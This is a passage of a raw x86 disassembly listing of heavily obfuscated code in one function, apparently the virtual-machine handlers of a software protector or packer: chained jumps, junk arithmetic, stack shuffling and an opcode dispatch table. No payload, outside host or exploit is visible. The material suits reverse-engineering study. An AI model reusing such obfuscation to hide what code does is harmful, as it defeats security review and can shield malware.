		add	[esp+20h+var_18], ecx
		jmp	loc_5AA540
; ---------------------------------------------------------------------------


loc_5AE44D:				; CODE XREF: sub_5A55E5+16060j
		push	esp
		mov	esi, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_5AE01D
; ---------------------------------------------------------------------------


loc_5AE459:				; CODE XREF: sub_5A55E5+ED73j
		shl	edx, 3
		push	edx
		jmp	loc_5ACFED
; ---------------------------------------------------------------------------


loc_5AE462:				; CODE XREF: sub_5A55E5+180B1j
		push	esi
		jmp	loc_5BDE5F
; ---------------------------------------------------------------------------


loc_5AE468:				; CODE XREF: sub_5A55E5+11D5Cj
		mov	[esp+28h+var_2A+2], edx
		mov	edx, 2
		sub	ecx, 46F44DEh
		push	esi
		jmp	loc_5B3D2D
; ---------------------------------------------------------------------------


loc_5AE47C:				; CODE XREF: sub_5A55E5+8007j
		mov	ebx, 4
		jmp	loc_5B2060
; ---------------------------------------------------------------------------


loc_5AE486:				; CODE XREF: sub_5A55E5+A4B4j
		pop	edi
		push	edi
		mov	edi, 3A725806h
		add	edx, 5A32323Bh
		jmp	loc_5B0C4F
; ---------------------------------------------------------------------------


loc_5AE498:				; DATA XREF: sub_5A55E5+43AFo
		mov	ax, word ptr [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		mov	ebp, esp
		push	esi
		push	ecx
		jmp	loc_5B491F
; ---------------------------------------------------------------------------


loc_5AE4AE:				; CODE XREF: sub_5A55E5+6D77j
		pop	ebp
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		push	[esp+10h+var_10]
		jmp	loc_5BF25D
; ---------------------------------------------------------------------------


loc_5AE4BD:				; CODE XREF: sub_5A55E5+AA3Ej
		push	ebx
		mov	ebx, esp
		jmp	loc_5B575A
; ---------------------------------------------------------------------------


loc_5AE4C5:				; DATA XREF: sub_5A55E5+433Fo
		lodsb
		push	ecx
		mov	ch, 67h
		jmp	loc_5AA8F7
; ---------------------------------------------------------------------------


loc_5AE4CE:				; CODE XREF: sub_5A55E5+E6C5j
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		push	[esp+1Ch+var_1C]
		push	[esp+20h+var_22+2]
		push	[esp+24h+var_26+2]
		pop	edx
		jmp	loc_5BB433
; ---------------------------------------------------------------------------


loc_5AE4E6:				; CODE XREF: sub_5A55E5+188CBj
		add	ch, 0DCh
		jmp	loc_5B4D23
; ---------------------------------------------------------------------------


loc_5AE4EE:				; CODE XREF: sub_5A55E5+55A0j
		not	dl
		xor	dl, 42h
		inc	dl
		sub	dl, 7Dh
		add	al, dl
		jmp	loc_5B51AB
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+5Ah+var_5C+2]
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], ebp
		sub	esp, 4
		mov	[esp+62h+var_64+2], esp
		add	[esp+62h+var_64+2], 4
		mov	ebp, [esp+62h+var_64+2]
		add	esp, 4
		push	1BFEh
		mov	[esp+62h+var_64+2], edi
		jmp	loc_5B28E6
; ---------------------------------------------------------------------------


loc_5AE52F:				; CODE XREF: sub_5A55E5+14AEFj
		inc	edi
		xor	edi, 0EC138F9Ah
		mov	ecx, edi
		pop	edi
		jmp	loc_5BA701
; ---------------------------------------------------------------------------


loc_5AE53E:				; CODE XREF: sub_5A55E5+835Dj
		not	ecx
		xor	esi, ecx
		xor	ecx, esi
		jmp	loc_5B7073
; ---------------------------------------------------------------------------


loc_5AE549:				; CODE XREF: sub_5A55E5+AA82j
		mov	dl, 5
		jmp	loc_5B8DED
; ---------------------------------------------------------------------------


loc_5AE550:				; CODE XREF: sub_5A55E5+11084j
		mov	esi, 6B486E89h
		sub	ebx, esi
		mov	esi, [esp+16h+var_18+2]
		add	esp, 4
		sub	ebp, ebx
		pop	ebx
		push	eax
		push	ecx
		mov	ecx, 581F070Bh
		and	ecx, 2B6A4D22h
		xor	ecx, 2A2F77D0h
		jmp	loc_5ABDDB
; ---------------------------------------------------------------------------


loc_5AE578:				; CODE XREF: sub_5A55E5+13FE5j
		sub	eax, edi
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		mov	ebx, [esp+12h+var_14+2]
		jmp	loc_5BAA48
; ---------------------------------------------------------------------------


loc_5AE58B:				; CODE XREF: sub_5A55E5+12095j
		pop	edx
		pop	eax
		pop	eax
		add	bl, al
		add	bl, 3Fh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+0Ah+var_C+2]
		push	[esp+0Eh+var_10+2]
		jmp	loc_5AC824
; ---------------------------------------------------------------------------


loc_5AE5A4:				; CODE XREF: sub_5A55E5+18312j
		add	esi, ebp
		mov	ebp, [esp+12h+var_14+2]
		push	edi
		mov	edi, esp
		jmp	loc_5AAFE2
; ---------------------------------------------------------------------------


loc_5AE5B1:				; CODE XREF: sub_5A55E5+7EE7j
		cmp	dword ptr [edi+20h], 0
		jz	loc_5BF3B7
		push	7818h
		mov	[esp+36h+var_36], edi
		push	1A8969B7h
		jmp	loc_5AAB6A
; ---------------------------------------------------------------------------


loc_5AE5CD:				; CODE XREF: sub_5A55E5+63AFj
		sub	ecx, 12F2DF34h
		sub	esi, ecx
		pop	ecx
		xor	edx, esi
		pop	esi
		add	edx, 15634860h
		jmp	loc_5B62E7
; ---------------------------------------------------------------------------


loc_5AE5E4:				; CODE XREF: sub_5A55E5+C0DBj
		pop	ebx
		mov	ecx, [esp+14h+var_14]
		jmp	loc_5AF703
; ---------------------------------------------------------------------------


loc_5AE5ED:				; CODE XREF: sub_5A55E5+15FF5j
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	[esp+18h+var_14]
		pop	ecx
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		jmp	loc_5AB0B1
; ---------------------------------------------------------------------------


loc_5AE60D:				; CODE XREF: sub_5A55E5+691Cj
		xor	ebp, 76BCD79Bh
		jmp	loc_5A9EAA
; ---------------------------------------------------------------------------


loc_5AE618:				; CODE XREF: sub_5A55E5+19DE8j
		xor	ebp, 79BC67B0h
		sub	ebp, 8FBD04ACh
		sub	ecx, ebp
		jmp	loc_5B909A
; ---------------------------------------------------------------------------


loc_5AE62B:				; CODE XREF: sub_5A55E5+17545j
		push	edi
		mov	edi, 463E3E08h
		add	edx, edi
		pop	edi
		add	edx, 40A67A54h
		jmp	loc_5A9A9A
; ---------------------------------------------------------------------------


loc_5AE63F:				; CODE XREF: sub_5A55E5+B47Dj
		xor	ch, 8Ah
		mov	bl, ch
		pop	ecx
		shr	bl, 5
		and	bl, 26h
		push	cx
		push	edx
		push	ebx
		mov	bl, 67h
		or	bl, 0A7h
		sub	bl, 0D6h
		push	eax
		mov	ah, bl
		mov	dl, ah
		jmp	loc_5BD961
; ---------------------------------------------------------------------------


loc_5AE661:				; CODE XREF: sub_5A55E5+5D9Bj
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		push	ebx
		push	esi
		pop	ebx
		pop	esi
		push	esi
		not	[esp+20h+var_22+2]
		jmp	loc_5B4A05
; ---------------------------------------------------------------------------


loc_5AE672:				; CODE XREF: sub_5A55E5+11915j
		pop	dx
		pop	dx
		jmp	loc_5AB4F2
; ---------------------------------------------------------------------------


loc_5AE67B:				; CODE XREF: sub_5A55E5+74C9j
		pop	esp
		mov	[esp+3Ch+var_3E+2], ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+40h+var_42+2]
		pop	esp
		mov	[esp+3Ch+var_3E+2], esp
		add	[esp+3Ch+var_3E+2], 4
		pop	ebp
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		push	eax
		mov	eax, 2
		sub	esp, 4
		mov	[esp+40h+var_42+2], ebx
		mov	ebx, 66D750A3h
		dec	ebx
		xchg	eax, ebx
		not	eax
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_5BABFE
; ---------------------------------------------------------------------------


loc_5AE6C9:				; CODE XREF: sub_5A55E5+FD3Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5B396E
; ---------------------------------------------------------------------------


loc_5AE6D7:				; CODE XREF: sub_5A55E5+56D7j
		push	edi
		mov	edi, 5709454Dh
		dec	edi
		xchg	ebp, edi
		not	ebp
		jmp	loc_5B4728
; ---------------------------------------------------------------------------

locret_5AE6E7:				; CODE XREF: sub_5A55E5+69B5j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AE6ED:				; CODE XREF: sub_5A55E5+612Aj
		push	234E0E96h
		pop	ebp
		mov	esi, ebp
		pop	ebp
		shl	esi, 6
		jmp	loc_5B5CC2
; ---------------------------------------------------------------------------


loc_5AE6FE:				; CODE XREF: sub_5A55E5+FB93j
		mov	ah, bl
		pop	ebx
		mov	cl, ah
		jmp	loc_5B6C18
; ---------------------------------------------------------------------------


loc_5AE708:				; CODE XREF: sub_5A55E5+668Cj
		xor	ebp, 7520764Eh
		and	ebp, 52D6062Ch
		dec	ebp
		jmp	loc_5B37CC
; ---------------------------------------------------------------------------


loc_5AE71A:				; CODE XREF: sub_5A55E5+184B0j
		or	esi, ecx
		jmp	loc_5AF5A5
; ---------------------------------------------------------------------------


loc_5AE721:				; CODE XREF: sub_5A55E5+18787j
		pop	eax
		sub	dh, 7Ah
		mov	bh, dh
		pop	edx
		jmp	loc_5BC810
; ---------------------------------------------------------------------------


loc_5AE72D:				; CODE XREF: sub_5A55E5+10774j
		shr	edi, 6
		add	edi, 0FD0D1D77h
		jmp	loc_5BCCCD
; ---------------------------------------------------------------------------


loc_5AE73B:				; CODE XREF: sub_5A55E5+D062j
		xor	[esp+22h+var_22], eax
		xor	eax, [esp+22h+var_22]
		jmp	loc_5AAC05
; ---------------------------------------------------------------------------


loc_5AE746:				; CODE XREF: sub_5A55E5+F197j
		sub	dh, al
		mov	eax, [esp+22h+var_22]
		add	esp, 4
		add	bl, dh
		mov	edx, [esp+0]
		add	esp, 4
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	ebp
		push	esp
		push	[esp+22h+var_22]
		jmp	loc_5AB3E4
; ---------------------------------------------------------------------------


loc_5AE769:				; CODE XREF: sub_5A55E5+A55Ej
		dec	ebx
		jmp	loc_5BBCD9
; ---------------------------------------------------------------------------


loc_5AE76F:				; CODE XREF: sub_5A55E5+10D9Cj
		mov	dx, word ptr [esp+26h+var_26]
		add	esp, 2
		jmp	loc_5BDE81
; ---------------------------------------------------------------------------


loc_5AE77E:				; CODE XREF: sub_5A55E5+144E9j
		xchg	edx, [esp+22h+var_22]
		pop	esp
		jmp	loc_5B8A1F
; ---------------------------------------------------------------------------


loc_5AE787:				; CODE XREF: sub_5A55E5+10DF4j
		sub	ax, 1A79h
		jmp	loc_5B3594
; ---------------------------------------------------------------------------


loc_5AE790:				; DATA XREF: sub_5A55E5+427Fo
		lodsd
		push	43A9h
		mov	[esp+18h+var_18], edi
		mov	edi, 7FB742ACh
		push	esi
		mov	esi, 43403FD3h
		shr	esi, 6
		not	esi
		add	esi, 7B56800Ch
		jmp	loc_5B96E7
; ---------------------------------------------------------------------------


loc_5AE7B4:				; CODE XREF: sub_5A55E5+86A5j
		add	[esp+2Eh+var_2A], 52D31FB1h
		add	[esp+2Eh+var_2A], edx
		sub	[esp+2Eh+var_2A], 52D31FB1h
		add	[esp+2Eh+var_2A], 541C214Ah
		jmp	loc_5B3DED
; ---------------------------------------------------------------------------


loc_5AE7D5:				; CODE XREF: sub_5A55E5+B8A9j
		not	ecx
		push	ebp
		jmp	loc_5AD741
; ---------------------------------------------------------------------------


loc_5AE7DD:				; CODE XREF: sub_5A55E5+127EBj
		add	esp, 4
		xor	edx, [esp+2Eh+var_2E]
		xor	[esp+2Eh+var_2E], edx
		jmp	loc_5ABBBE
; ---------------------------------------------------------------------------


loc_5AE7EB:				; CODE XREF: sub_5A55E5+12BECj
		mov	[esp+2Eh+var_2E], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 2F441FC7h
		shr	edx, 2
		sub	edx, 0FFFFFFFFh
		add	edx, 0D4635B6h
		jmp	loc_5B7D82
; ---------------------------------------------------------------------------


loc_5AE813:				; CODE XREF: sub_5A55E5+123ECj
		xchg	ebp, [esp+32h+var_32]
		jmp	loc_5B76CA
; ---------------------------------------------------------------------------


loc_5AE81B:				; CODE XREF: sub_5A55E5+89CAj
		sub	edx, ebp
		jmp	loc_5B7DCD
; ---------------------------------------------------------------------------


loc_5AE822:				; CODE XREF: sub_5A55E5+179A7j
		xchg	ebp, [esp+4Eh+var_50+2]
		pop	esp
		jmp	loc_5BB3F0
; ---------------------------------------------------------------------------


loc_5AE82B:				; CODE XREF: sub_5A55E5+18724j
		push	ebx
		jmp	loc_5AB313
; ---------------------------------------------------------------------------


loc_5AE831:				; CODE XREF: sub_5A55E5+FBC7j
		add	al, bl
		push	esi
		mov	esi, esp
		jmp	loc_5B8F1F
; ---------------------------------------------------------------------------


loc_5AE83B:				; CODE XREF: sub_5A55E5+11757j
		shr	eax, 4
		or	eax, 3CC536A7h
		xor	eax, 4F0AC805h
		add	ecx, eax
		pop	eax
		mov	edi, ecx
		jmp	loc_5B8921
; ---------------------------------------------------------------------------


loc_5AE852:				; CODE XREF: sub_5A55E5+7737j
		add	al, 0ECh
		sub	al, dh
		jmp	loc_5BA6BD
; ---------------------------------------------------------------------------


loc_5AE85B:				; CODE XREF: sub_5A55E5+10498j
		push	edx
		mov	edx, 6A585AAFh
		jmp	loc_5AE064
; ---------------------------------------------------------------------------


loc_5AE866:				; CODE XREF: sub_5A55E5+ECA5j
		add	eax, 5AA730AFh
		jmp	loc_5B9F7A
; ---------------------------------------------------------------------------


loc_5AE870:				; CODE XREF: sub_5A55E5+154A6j
		dec	eax
		not	eax
		neg	eax
		jmp	loc_5A9E17
; ---------------------------------------------------------------------------


loc_5AE87A:				; CODE XREF: sub_5A55E5+13E26j
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+28h+var_2A+2]
		xor	[esp+28h+var_2A+2], ecx
		xor	ecx, [esp+28h+var_2A+2]
		pop	esp
		mov	[esp+24h+var_26+2], ecx
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esp
		jmp	loc_5B994A
; ---------------------------------------------------------------------------


loc_5AE8A1:				; CODE XREF: sub_5A55E5+16322j
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+2Ch+var_2A+2]
		pop	edx
		pop	[esp+2Ch+var_2E+2]
		mov	esp, [esp+28h+var_2A+2]
		jmp	loc_5BCFA1
; ---------------------------------------------------------------------------


loc_5AE8BB:				; CODE XREF: sub_5A55E5+162A3j
		mov	[esp+28h+var_2A+2], edi
		mov	edi, 4
		sub	eax, 20660618h
		add	eax, edi
		add	eax, 20660618h
		jmp	loc_5ABCD0
; ---------------------------------------------------------------------------


loc_5AE8D4:				; CODE XREF: sub_5A55E5+17AEAj
		xor	[esp+28h+var_2A+2], ebx
		xor	ebx, [esp+28h+var_2A+2]
		jmp	loc_5BCFD1
; ---------------------------------------------------------------------------


loc_5AE8DF:				; CODE XREF: sub_5A55E5+BC91j
		sub	edi, ebx
		pop	ebx
		sub	eax, 10E41D27h
		add	eax, edi
		add	eax, 10E41D27h
		mov	edi, [esp+24h+var_26+2]
		add	esp, 4
		push	dword ptr [eax]
		push	[esp+24h+var_26+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5BF4C8
; ---------------------------------------------------------------------------


loc_5AE902:				; CODE XREF: sub_5A55E5+81B3j
		pop	esp
		jmp	loc_5BB9ED
; ---------------------------------------------------------------------------


loc_5AE908:				; CODE XREF: sub_5A55E5+1547Cj
		pop	edx
		push	ebp
		jmp	loc_5AEDCB
; ---------------------------------------------------------------------------


loc_5AE90F:				; CODE XREF: sub_5A55E5+E37Ej
		pop	ecx
		sub	edx, 18A9384Fh
		add	edx, eax
		push	ebp
		mov	ebp, 18A9384Fh
		jmp	loc_5B6F7B
; ---------------------------------------------------------------------------


loc_5AE923:				; CODE XREF: sub_5A55E5+F8B0j
		add	esi, edx
		pop	edx
		mov	eax, esi
		pop	esi
		shr	eax, 2
		shr	eax, 8
		xor	eax, 15C852C7h
		jmp	loc_5B18ED
; ---------------------------------------------------------------------------


loc_5AE939:				; CODE XREF: sub_5A55E5+195FFj
		pop	ebp
		add	ebp, 4
		push	1E05h
		mov	[esp+22h+var_22], ecx
		mov	ecx, 4
		sub	ebp, 55477Bh
		add	ebp, ecx
		add	ebp, 55477Bh
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		xor	ebp, [esp+0]
		jmp	loc_5B605E
; ---------------------------------------------------------------------------


loc_5AE969:				; CODE XREF: sub_5A55E5+BF98j
		pop	ebx
		jmp	loc_5BBFF1
; ---------------------------------------------------------------------------


loc_5AE96F:				; CODE XREF: sub_5A55E5+A44Fj
		sub	ebp, 3413779Ch
		jmp	loc_5ADF8A
; ---------------------------------------------------------------------------


loc_5AE97A:				; CODE XREF: sub_5A55E5+11415j
		mov	al, cl
		mov	bl, al
		pop	eax
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		add	al, bl
		mov	bx, word ptr [esp+12h+var_14+2]
		add	esp, 2
		push	dx
		mov	dh, 9Eh
		sub	al, dh
		pop	dx
		jmp	loc_5B9CB9
; ---------------------------------------------------------------------------
		push	[esp+0Eh+var_10+2]
		pop	eax
		jmp	loc_5B9CCD
; ---------------------------------------------------------------------------
byte_5AE9A7	db 89h			; CODE XREF: sub_5A55E5+C271j
; ---------------------------------------------------------------------------
		and	al, 24h
		add	[esp+0Eh+var_10+2], 4
		pop	ecx
		jmp	loc_5B15D7
; ---------------------------------------------------------------------------


loc_5AE9B4:				; CODE XREF: sub_5A55E5+1610Ej
		add	esp, 4
		add	ebp, edx
		pop	edx
		add	ebp, ebx
		push	esi
		mov	esi, 8025C02h
		jmp	loc_5B11DF
; ---------------------------------------------------------------------------


loc_5AE9C7:				; CODE XREF: sub_5A55E5+17B64j
		push	ebx
		push	5D0Dh
		mov	[esp+0Eh+var_10+2], eax
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebp
		push	esi
		mov	esi, 46A254DAh
		jmp	loc_5B7EC7
; ---------------------------------------------------------------------------


loc_5AE9E4:				; CODE XREF: sub_5A55E5+161B3j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	edi
		jmp	loc_5AFEFD
; ---------------------------------------------------------------------------


loc_5AE9F2:				; CODE XREF: sub_5A55E5+159A8j
		mov	esp, [esp+16h+var_18+2]
		jmp	loc_5BAFF1
; ---------------------------------------------------------------------------


loc_5AE9FA:				; CODE XREF: sub_5A55E5+13337j
		xor	ebx, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		or	[edi+1Ch], ebp
		jmp	loc_5B9563
; ---------------------------------------------------------------------------


loc_5AEA08:				; CODE XREF: sub_5A55E5+11DFDj
		xchg	esi, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		push	edx
		mov	dh, 0BDh
		inc	dh
		shl	dh, 3
		not	dh
		or	dh, 45h
		neg	dh
		xor	dh, 0F7h
		add	al, dh
		pop	edx
		add	al, bl
		push	ebx
		mov	bl, 46h
		sub	al, 25h
		sub	al, 0B9h
		add	al, 0D0h
		sub	al, bl
		sub	al, 0D0h
		add	al, 0B9h
		add	al, 25h
		pop	ebx
		jmp	loc_5A9B28
; ---------------------------------------------------------------------------


loc_5AEA3C:				; CODE XREF: sub_5A55E5+ED4Ej
		pop	[esp+16h+var_18+2]
		pop	esp
		push	[esp+0Eh+var_10+2]
		jmp	loc_5AA760
; ---------------------------------------------------------------------------


loc_5AEA48:				; CODE XREF: sub_5A55E5+7D68j
		xor	[esp+28h+var_2A+2], ecx
		xor	ecx, [esp+28h+var_2A+2]
		jmp	loc_5B8E7C
; ---------------------------------------------------------------------------


loc_5AEA53:				; CODE XREF: sub_5A55E5+18F47j
		push	8Ch
		mov	[esp+2Ch+var_2E+2], ebp
		push	edi
		push	ecx
		jmp	loc_5AB33C
; ---------------------------------------------------------------------------


loc_5AEA62:				; CODE XREF: sub_5A55E5+D902j
		xchg	eax, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		jmp	loc_5B5BB4
; ---------------------------------------------------------------------------


loc_5AEA6D:				; CODE XREF: sub_5A55E5+1341Bj
		dec	edx
		sub	edx, 1
		jmp	loc_5BD52F
; ---------------------------------------------------------------------------


loc_5AEA76:				; CODE XREF: sub_5A55E5+11D9Cj
		shl	ebx, 5
		not	ebx
		shr	ebx, 5
		jmp	loc_5BB234
; ---------------------------------------------------------------------------


loc_5AEA83:				; CODE XREF: sub_5A55E5+1310Fj
		pop	esi
		push	40C0h
		mov	[esp+34h+var_36+2], edx
		mov	edx, 5F280CEEh
		sub	edx, 0FFFFFFFFh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+38h+var_3A+2]
		jmp	loc_5AC939
; ---------------------------------------------------------------------------


loc_5AEAAB:				; CODE XREF: sub_5A55E5+FD14j
		add	esp, 4
		xor	esi, 7721685h
		mov	edx, esi
		mov	esi, [esp+34h+var_36+2]
		add	esp, 4
		or	edx, 2E3324EDh
		sub	edx, 435347B9h
		push	edi
		mov	edi, 41CE00C7h
		add	edi, 0F3AB2023h
		add	edx, edi
		pop	edi
		neg	edx
		shr	edx, 2
		sub	edx, 3399C070h
		sub	ebp, 61B02AB3h
		add	ebp, edx
		add	ebp, 61B02AB3h
		mov	edx, [esp+30h+var_32+2]
		add	esp, 4
		add	ebp, 2
		jmp	loc_5BE22D
; ---------------------------------------------------------------------------


loc_5AEB07:				; CODE XREF: sub_5A55E5+1196Aj
		add	[esp+2Ch+var_2A+2], 661930E6h
		pop	ebx
		pop	edx
		jmp	loc_5B29E9
; ---------------------------------------------------------------------------


loc_5AEB16:				; CODE XREF: sub_5A55E5+B4ECj
		shr	eax, 3
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+28h+var_2A+2]
		pop	esp
		mov	[esp+24h+var_26+2], ebp
		mov	ebp, 0FBC2F661h
		add	eax, ebp
		jmp	loc_5B8BFE
; ---------------------------------------------------------------------------


loc_5AEB38:				; CODE XREF: sub_5A55E5+E129j
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, 7DAB6423h
		dec	ebx
		and	ebx, 522E32DCh
		jmp	loc_5AA3D5
; ---------------------------------------------------------------------------


loc_5AEB4C:				; CODE XREF: sub_5A55E5+1791Ej
		push	edx
		push	6699h
		mov	[esp+2Ch+var_2E+2], ecx
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		jmp	loc_5B1428
; ---------------------------------------------------------------------------


loc_5AEB62:				; CODE XREF: sub_5A55E5+F075j
		push	44C032D1h
		pop	eax
		or	esi, eax
		mov	eax, [esp+28h+var_2A+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+2Ch+var_2E+2]
		pop	esp
		add	esi, 4528743Ah
		sub	edi, 26C839EFh
		sub	edi, esi
		add	edi, 26C839EFh
		pop	esi
		push	[esp+24h+var_26+2]
		pop	ebx
		jmp	loc_5BA31A
; ---------------------------------------------------------------------------


loc_5AEB9E:				; CODE XREF: sub_5A55E5+6571j
		mov	ebp, 4
		jmp	loc_5B0B4B
; ---------------------------------------------------------------------------


loc_5AEBA8:				; DATA XREF: sub_5A55E5+438Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+12h+var_14+2], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AEBB7:				; CODE XREF: sub_5A55E5+95E2j
		sub	ecx, esi
		mov	esi, [esp+16h+var_18+2]
		push	eax
		jmp	loc_5BA2A0
; ---------------------------------------------------------------------------


loc_5AEBC2:				; CODE XREF: sub_5A55E5+C3CDj
		mov	esi, 17CB72DFh
		jmp	loc_5AEBB7
; ---------------------------------------------------------------------------


loc_5AEBCC:				; CODE XREF: sub_5A55E5+625Aj
		shl	ch, 6
		neg	ch
		add	ch, 0D8h
		or	dl, ch
		pop	ecx
		jmp	loc_5AB631
; ---------------------------------------------------------------------------


loc_5AEBDC:				; CODE XREF: sub_5A55E5+1839Ej
		push	eax
		push	edx
		mov	edx, 5BD8785Ch
		mov	eax, 0A42787A8h
		jmp	loc_5B77E0
; ---------------------------------------------------------------------------


loc_5AEBED:				; DATA XREF: sub_5A55E5+424Fo
		lodsd
		xor	eax, ebx
		push	1944h
		mov	[esp+18h+var_18], ecx
		push	277Ch
		mov	[esp+1Ch+var_1C], edi
		sub	esp, 4
		jmp	loc_5AA950
; ---------------------------------------------------------------------------


loc_5AEC08:				; CODE XREF: sub_5A55E5+14DD1j
		pop	ecx
		push	ebx
		mov	ebx, 165F67E2h
		sub	ebx, 54BD74AFh
		and	ebx, 3DA36E55h
		add	ebx, 0C7D83E83h
		add	ecx, ebx
		pop	ebx
		jmp	loc_5B6AFA
; ---------------------------------------------------------------------------


loc_5AEC29:				; CODE XREF: sub_5A55E5+180A6j
		mov	esi, [esp+1Ch+var_1C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+20h+var_22+2]
		jmp	loc_5B2623
; ---------------------------------------------------------------------------


loc_5AEC41:				; CODE XREF: sub_5A55E5+19044j
		sub	ebp, 774904C6h
		jmp	loc_5B3DCC
; ---------------------------------------------------------------------------


loc_5AEC4C:				; CODE XREF: sub_5A55E5+130FBj
		mov	[esp+20h+var_22+2], ebx
		jmp	loc_5AAF64
; ---------------------------------------------------------------------------


loc_5AEC54:				; CODE XREF: sub_5A55E5+12070j
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 0C1353E9h
		push	ebp
		jmp	loc_5B1410
; ---------------------------------------------------------------------------


loc_5AEC65:				; CODE XREF: sub_5A55E5+12EA1j
		mov	ebp, 23D0EDCh
		jmp	loc_5B7053
; ---------------------------------------------------------------------------


loc_5AEC6F:				; CODE XREF: sub_5A55E5+643Fj
		add	edi, 4
		xor	edi, [esp+3Ch+var_3E+2]
		xor	[esp+3Ch+var_3E+2], edi
		jmp	loc_5BDB1B
; ---------------------------------------------------------------------------


loc_5AEC7D:				; CODE XREF: sub_5A55E5+13799j
		mov	edi, [esp+3Ch+var_3E+2]
		add	esp, 4
		xchg	esi, [esp+38h+var_3A+2]
		mov	esp, [esp+38h+var_3A+2]
		push	37EFh
		push	esp
		pop	[esp+40h+var_42+2]
		push	edx
		mov	edx, 4
		add	[esp+40h+var_3E+2], edx
		jmp	loc_5B8327
; ---------------------------------------------------------------------------


loc_5AECA4:				; CODE XREF: sub_5A55E5+DBBDj
		sub	ebx, 4F841467h
		add	ebx, edi
		push	edi
		mov	edi, 2F2B718Bh
		xor	edi, 7B25708Eh
		shl	edi, 3
		add	edi, 3FBB2495h
		sub	edi, 90A71856h
		add	ebx, edi
		pop	edi
		jmp	loc_5B4911
; ---------------------------------------------------------------------------


loc_5AECCF:				; CODE XREF: sub_5A55E5+82A6j
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp+34h+var_36+2], edi
		mov	edi, 1175472Ch
		push	esi
		mov	esi, 6B6E7803h
		add	edi, esi
		pop	esi
		add	edi, 174935F9h
		shr	edi, 5
		jmp	loc_5B0A06
; ---------------------------------------------------------------------------


loc_5AECF6:				; CODE XREF: sub_5A55E5+AB6Ej
		mov	ebp, 445B13EEh
		sub	esi, ebp
		pop	ebp
		inc	esi
		add	esi, 0BC6882E4h
		sub	ebx, esi
		pop	esi
		jmp	loc_5B595D
; ---------------------------------------------------------------------------


loc_5AED0D:				; CODE XREF: sub_5A55E5+E64Fj
		add	eax, 4
		xchg	eax, [esp+2Ch+var_2E+2]
		mov	esp, [esp+2Ch+var_2E+2]
		imul	ecx, eax
		jmp	loc_5AB617
; ---------------------------------------------------------------------------


loc_5AED20:				; CODE XREF: sub_5A55E5+4583j
		sub	esp, 4
		mov	[esp+44h+var_46+2], esp
		add	[esp+44h+var_46+2], 4
		pop	esi
		add	esi, 4
		jmp	loc_5BA0DF
; ---------------------------------------------------------------------------


loc_5AED36:				; CODE XREF: sub_5A55E5+13DC1j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+40h+var_42+2]
		pop	esp
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AED47:				; CODE XREF: sub_5A55E5+10EAAj
		pop	eax
		jmp	loc_5BF4FA
; ---------------------------------------------------------------------------


loc_5AED4D:				; CODE XREF: sub_5A55E5+19745j
		xchg	esi, [esp+38h+var_3A+2]
		not	esi
		xchg	esi, [esp+38h+var_3A+2]
		pop	eax
		xchg	eax, edi
		xor	[esp+34h+var_36+2], edi
		xor	edi, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], edi
		push	[esp+34h+var_36+2]
		push	[esp+38h+var_3A+2]
		mov	eax, [esp+3Ch+var_3E+2]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	edx
		push	1
		mov	edx, [esp+38h+var_3A+2]
		add	esp, 4
		and	eax, edx
		push	[esp+34h+var_36+2]
		push	[esp+38h+var_3A+2]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		push	ecx
		push	[esp+40h+var_3E+2]
		pop	ecx
		jmp	loc_5BF2CB
; ---------------------------------------------------------------------------


loc_5AEDA4:				; CODE XREF: sub_5A55E5+15802j
		pop	ebx
		jmp	loc_5BC4A0
; ---------------------------------------------------------------------------


